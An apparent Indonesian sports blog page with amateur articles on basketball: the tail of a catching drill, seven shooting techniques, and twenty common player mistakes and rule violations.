  4. Lakukan beberapa lemparan dengan memantulkanya ke dinding hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba. 
  5. Lakukan Variasi dengan melempar dengan arah lebih tinggi,lebih rendah serta dengan tenaga lemparan yang juga bervariasi. Sehingga bola yang memantulpun juga bervariasi.
  6. Lakukan beberapa lemparan seperti pada nomor lima, Hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba.
  7. Kombinasikan dengan lemparan dengan sudut yang berbeda, dan anda bisa melakukan dengan sedikit gerakan melangkah ataupun berlari.
  8. Jika anda sudah mahir dengan latihan menangkap bola basket dari jarak 3.5 meter anda bisa memperpendek jarak menjadi 2.5 meter.
  9. Lakukan berkali-kali agar kemampuan anda berkembang dan teruslah bergerak ke dinding, dan lakukan beberapa kombinasi latihan agar kemampuan anda semakin baik.

Untuk menjadi seorang atlet basket professional tentunya anda perlu berlatih keras untuk mewujudkanya. Jika anda sudah menguasai teknik menangkap bola basket, anda bisa berlatih untuk beberapa teknik yang lain, seperti teknik dalam melakukan dribbling, melakukan shotting, teknik saat terjadi rebounding dan sebagainya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

7 Teknik Dasar Bola Basket Shooting dan Pengertiannya

by Rita Nora
written by Rita Nora

Teknik dasar permainan bola basket mungkin sudah anda kuasai di materi sebelumnya. Dimana di dalam materi tersebut kita mengenal yang namanya shooting bola basket. Lantas, apa itu shooting bola basket? Dan bagaimana teknik dasar bola basket shooting yang benar? Untuk mempermudah pemahaman tentang teknik tersebut. Mari simak pembahasan di bawah ini.

Teknik shooting atau yang biasa disebut dengan shooting bola basket merupakan salah satu teknik di dalam permainan bola basket yang ditujukan untuk memasukan bola ke dalam ring basket lawan demi mencetak point yang lebih banyak. Di permainan bola basket teknik seperti sangat sering dilakukan. Tujuannya tak lain adalah untuk memenangkan pertandingan dari musuh yang dihadapi.

Meskipun terlihat mudah, namun teknik shooting dalam permainan bola basket tentu tidak dilakukan dengan cara sembarangan. Dibutuhkan teknik yang tepat agar bola bisa masuk ke dalam ring lawan tanpa meleset. Untuk anda yang ingin tahu teknik dan cara melakukan shooting dalam bola basket. Berikut adalah teknik dasar shooting bola basket yang benar.

Teknik Dasar Bola Basket Shooting

Teknik shooting bola basket atau teknik menembakan bola ke arah ring basket lawan merupakan titik poin yang sering dilakukan oleh para pemain basket untuk memperoleh poin dari permainan mereka. Di dalam teknik ini terdapat beberapa macam cara yang bisa dilakukan. Berikut adalah macam-macam shooting bola basket yang bisa anda lakukan:

  1. One Hand Set Shoot (Tembakan Satu Tangan)

Tembakan satu tangan atau One Heand Set Shoot merupakan teknik melempat dengan satu buah tangan hingga bola masuk ke sasaran ring lawan. Teknik seperti ini dapat dilakukan apabila posisi pemain sedang dalam himpitan lawan. Artinya, pemain bisa melakukan shoot meskipun posisi mereka dalam situasi yang tidak terlalu luas.

Untuk melakukan teknik shooting dengan tembakan satu tangan. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Lihat posisi target ring, apakah sudah dekat dengan posisi anda ataukah belum
  • Rentangkan kedua kaki, bahu dan punggung untuk memulai memasukan bola
  • Lenturkan pergelangan atau jari-jari pergelangan agar bola bisa masuk ke sasaran dengan tepat
  • Lepaskan ibu jari dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Free Throw (Lemparan Bebas)

Teknik lemparan bebas ke arah lubang ring atau Free Throw merupakan usaha untuk memasukan bola ke lubang ring dengan gaya bebas. Untuk bisa melakukan teknik lembaran bebas ini, dibutuhkan yang namanya keahlian, konsentrasi, keyakinan dan kebiasaan yang mereka lakukan dalam latihannya. Selain itu, agar bola dapat masuk ke sasaran dengan tepat, maka perhatikan juga ritme dan irama serta dukung dengan kerileksan yang anda lakukan.

Untuk melakukan teknik shooting dengan lemparan bebas ini. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Lihat posisi target ring, apakah sudah dekat dengan posisi anda ataukah belum
  • Rentangkan kedua kaki, bahu dan punggung
  • Kemudian rentangkan siku untuk memulai memasukan bola
  • Lenturkan posisi pinggang dan gerakan jari-jari untuk mulai memasukan bola ke arah ring lawan
  • Lepaskan jari telunjuk dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Jum Shoot (Tembakan Melompat)

Pada dasarnya, teknik tembakan melompat dalam bola basket sama dengan teknik tembakan satu tangan. Hanya saja, untuk teknik tembakan melompak dibutuhkan lompatan yang lebih tinggi agar bola dapat masuk ke ring dengan sempurna. Dimana dalam teknik ini, pemain bisa melakukan lompatan tinggi dan setelah itu bola dilempar masuk ke dalam ring.

Untuk melakukan teknik shooting dengan tembakan melompak dalam bola basket. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Ambil ancang-ancang untuk melompak dan kemudian menembak bola ke sasaran ring
  • Untuk tinggi lompatan sesuaikan dengan jarak tembakan
  • Rentangkan kedua kaki, bahu dan punggung
  • Kemudian rentangkan siku untuk memulai memasukan bola
  • Lenturkan posisi pinggang dan gerakan jari-jari untuk mulai memasukan bola ke arah ring lawan
  • Lepaskan jari telunjuk dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Hoot Shoot (Tembakan Mengait)

Untuk bisa mendapatkan poin dengan langkah yang lebih mudah, maka teknik tembakan mengait dalam bola basket ini bisa menjadi pilihannya. Dimana tembakan mengait sangat sering dilakukan untuk mengecoh lawan agar tidak bisa menahan atau menepis bola yang sedang digiring.

Untuk melakukan teknik shooting dengan tembakan mengait. Berikut adalah cara memegang bola basket yang bisa anda lakukan dengan baik dan benar:

  • Ambil langkah kira-kira 3 – 4 m dari jarak ring, pivot ke arah depan
  • angkat bola sejajar dengan arah telinga
  • Seimbangkan tangan hingga bola dapat sampai masuk ke lubang ring
  1. Slam Dunk

Slam Dunk merupakan teknik shooting bola basket yang dilakukan dengan cara memasukan bola basket ke arah ring dengan cara menghujam. Dimana untuk bisa melakukan teknik ini dibutuhkan keahlian hingga mereka dapat memasukan bola dengan sempurna. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Ambil ancang-ancang sambil melihat posisi ring
  • Lombatkan badan searah dengan tiang ring
  • Masukan bola dengan posisi satu tangan memegang ring dan satu tangan memegang bola
  • Seimbangkan tubuh hingga bola masuk dengan sempurna
  1. Lay-up

Lay-Up atau yang biasa disebut dengan tembakan bola yang berdekatan dengan arah ring ini menjadi keunggulan teknik bola basket berikutnya. Dimana teknik ini sangat sering dilakukan para pemain basket untuk mencetak bola lebih banyak lagi. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Ambil ancang-ancang hingga berjarak 3 – 4 m dari arah ring
  • Angkat lutut dan bersiap tembakan bola ke arah ring lawan
  • Arahkan bola sejajar dengan telinga, lenturkan pergerakan jari-jari hingga bola dapat dimasukan ke arah ring secara sempurna
  • Lepaskan bola dari jari telunjuk dengan pergerakan halus
  1. Runner

Runner sama dengan teknik Lay-Up namun dengan jarang yang sedikit di perpanjang. Teknik ini biasanya dilakukan apabila lawan sedang lengah dengan pergerakan pemain. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Lihat posisi sasaran
  • Posisi lutut sedikit ditekuk
  • Ambil posisi dengan menaikan tangan ke atas
  • Lembar bola ke arah ring
  • Seimbangkan posisi badan ketika melakukan pendaratan

Itulah teknik dasar bola basket shooting yang dapat anda ketahui. Pelajari teknik dasar permainan bola basket untuk menguasai teknik permainan olahraga ini.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

20 Kesalahan dalam Bola Basket Paling Umum Perlu Dihindari

by Rita Nora
written by Rita Nora

Beberapa pemain basket mungkin terlihat handal karena telah menguasai teknik dasar permainan bola basket, namun ada yang sehandal apapun tetap melakukan sejumlah kesalahan. Tak masalah untuk terus belajar memperbaiki kesalahan yang pernah atau sering dilakukan secara tak sengaja. Namun untuk bisa memperbaikinya, Anda perlu mengenali lebih dulu kesalahan dalam bola basket apa saja yang paling umum untuk dihindari.

  1. Terlalu Banyak Mendribble

Terkadang ada pemain basket yang enggan untuk melakukan passing atau mengoper bola yang ia bawa ke rekan satu timnya. Alhasil tanpa sadar ia terlalu banyak mendribble alias menggiring bola. Dalam cara bermain bola basket yang benar, lebih baik mengoper bola yang kita bawa ke teman satu tim daripada menggiringnya ke pemain yang tepat.

  1. Berdiri Tanpa Bergerak

Ada sejumlah pemain bola basket yang mungkin tanpa disadarinya melakukan kesalahan satu ini, yakni tak mengerti bagaimana cara bergerak tanpa bola di tangannya. Untuk menjadi pemain ofensif yang benar dan baik, selalu cari celah untuk menerima bola dari kawan.

Untuk bisa menerima bola dengan baik dari teman ataupun mengambil kesempatan operan dari lawan, pemain harus senantiasa aktif bergerak. Menjadi agresif di lapangan basket sangatlah bagus daripada hanya berdiam diri atau berlarian tanpa ada tujuan dengan menyerahkan semuanya pada bagian bek di tim Anda.

  1. Mendorong Pemain Lawan

Istilah pushing adalah istilah bagi kesalahan yang cukup umum dilakukan pada pertandingan bola basket. Bukan hanya menjadi kesalahan biasa, mendorong pemain dari tim lawan termasuk dalam pelanggaran dalam bola basket. Karena mampu membahayakan pemain tersebut dan merupakan bentuk tindakan kurang sportif, maka biasanya akan ada peringatan atau bahkan hukuman bagi pemain yang melakukan kesalahan satu ini.

  1. Offensive Three Second

Pada kesalahan satu ini, itu artinya pemain berdiam diri dengan hitungan waktu lebih dari 3 detik di area lawan di waktu yang sama dengan lawan yang sedang defense. Sebagai akibatnya, wasit pun biasanya akan mengambil keputusan akan pemberian bola ke depan tim lawan.

  1. Defensive Three Second

Berkebalikan dari offensive three second, ini adalah bentuk kesalahan sekaligus pelanggaran pemain bola basket sewaktu ia hanya berdiam diri lebih dari 3 detik di area tim sendiri sewaktu lawan melakukan offense. Sebagai akibatnya, wasit membuat keputusan untuk tim lawan diberikan satu throw sehingga tim yang melakukan kesalahan pun menjadi rugi.

  1. Menyalahgunakan Cross-Court Pass

Saat melakukan offense, sebenarnya cross-court pass merupakan langkah terbaik untuk dilakukan dengan tujuan utama melakukan penyerangan dengan masuk pada area pertahanan tim lawan walau risikonya tinggi. Ketika ragu, maka lebih baik jangan melemparkan bola, khususnya bila waktunya kurang tepat.

  1. Mengambil Bola Tembakan Terlalu Awal

Pemain bola basket kerap tergoda untuk mengambil rebound walau di bawah keranjang sudah ada 2 sampai 3 orang pemain dari tim lawan yang posisinya sudah tepat dan bagus. Bila beberapa pemain tim lawan sudah ada di sana dengan posisi yang baik, maka kesempatan mengambil hasil tembakan rebound bukanlah ide yang cemerlang.

  1. Terlambat atau Gagal Menjemput Bola

Sewaktu tim kita sedang melakukan pertahanan dan kawan satu tim sedang didesak oleh pemain lawan sementara ia menggiring bola, Anda sebaiknya berlari mendekat ke arah sang rekan untuk memberikan kesempatan bagi mereka mengoperkan bola kepada Anda. Terlambat sedikit saja tentu akan terjadi kesalahan dan kegagalan di mana bola dengan cepat direbut oleh pemain lawan.

  1. Double Dribble

Kesalahan umum pada permainan bola basket lainnya adalah double dribble. Ini merupakan suatu kesalahan yang dapat terjadi sewaktu pemain melakukan dribbling walau bola dalam kondisi mati.

  1. Blocking Foul

Menghalangi pemain lawan mungkin merupakan sebuah upaya agar pemain lawan tak dengan mudah merebut bola dari tim kita. Namun, upaya seperti ini justru adalah kesalahan yang tergolong dalam pelanggaran keras sehingga perlu dihindari.

  1. Back Ball

Mencermati dan selalu fokus ketika bermain adalah salah satu kunci bermain bola basket yang benar dan meraih kemenangan. Kesalahan seperti ini adalah ketika pemain dari melewati garis tengah kemudian malah kembali pada area pertahanan.

  1. Three Second Violation

Sewaktu pemain bola basket ada pada wilayah tembakan bebas dan bahkan dalam hitungan waktu 3 detik atau lebih, maka hal ini dianggap sebagai suatu kesalahan. Pelanggaran pun menjadi hal yang harus ditanggung oleh sang pemain.

  1. Pengabaian Terhadap Teguran/Peringatan Wasit

Sewaktu seorang pemain secara sengaja mengabaikan teguran maupun peringatan dari wasit, maka hal ini dianggap sebagai suatu kesalahan. Bahkan melakukan kontak fisik dan protes terlalu banyak pada wasit adalah suatu hal yang tak bisa ditolerir.

  1. Travelling

Sewaktu pemain dalam 3 langkahnya dan dalam kondisi membawa bola namun tidak melakukan dribble sama sekali sewaktu berjalan ataupun berlari, maka ini adalah salah satu kesalahan yang dianggap melanggar peraturan permainan bola basket.

  1. Offensive Foul

Pemain yang baik disengaja maupun tidak telah menabrak pemain tim lawan sewaktu melakukan illegal pick dan dalam posisi hands-up, maka ini juga termasuk dalam kesalahan dan pelanggaran dalam bola basket.

  1. 24 Second Violation

Pemain yang tak menembakkan bola ke arah keranjang tim lawan dalam waktu 24 detik merupakan sebuah kesalahan. Dahulu peraturan yang dibuat adalah sampai dengan 30 detik, namun kini perubahan aturan diberlakukan hanya menjadi 24 detik saja dan sebagai akibatnya, bola diberikan oleh wasit ke tim lawan.

  1. 8 Second Violation

Sewaktu pemain tak keluar dalam waktu 8 detik dari posisi defense sementara kawan satu tim telah memegang bola dan melakukan offense dengan memasuki wilayah tim lawan serta bola telah berpindah pada tim lawan, inilah suatu kesalahan yang lain.

  1. Charging

Charging merupakan suatu kesalahan yang dilakukan pemain sewaktu sengaja ataupun tidak sengaja menabrak pemain tim lawan ketika pemain tim lawan tersebut sudah ada pada posisinya yang tepat.

  1. Holding

Merebut bola dari tim lawan sudah seharusnya dilakukan. Namun, hal ini menjadi kesalahan apabila pemain bermaksud merebut bola yang digiring lawan dengan cara menarik pemain lawan.

  1. Foul

Melalui reaching ataupun berada di posisi bertahan yang kurang tepat dengan tujuan melanggar pemain lawan pun termasuk dalam salah satu jenis kesalahan yang banyak dilakukan oleh pemain bola basket.

Demikianlah sejumlah kesalahan dalam bola basket yang umum dilakukan banyak pemain basket selama pertandingan baik disadari maupun tidak. Selain menguasai teknik-teknik dasar dengan benar sekaligus melakukan latihan fisik untuk pemain basket, hindarilah kesalahan-kesalahan yang dapat merugikan diri sendiri maupun tim.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts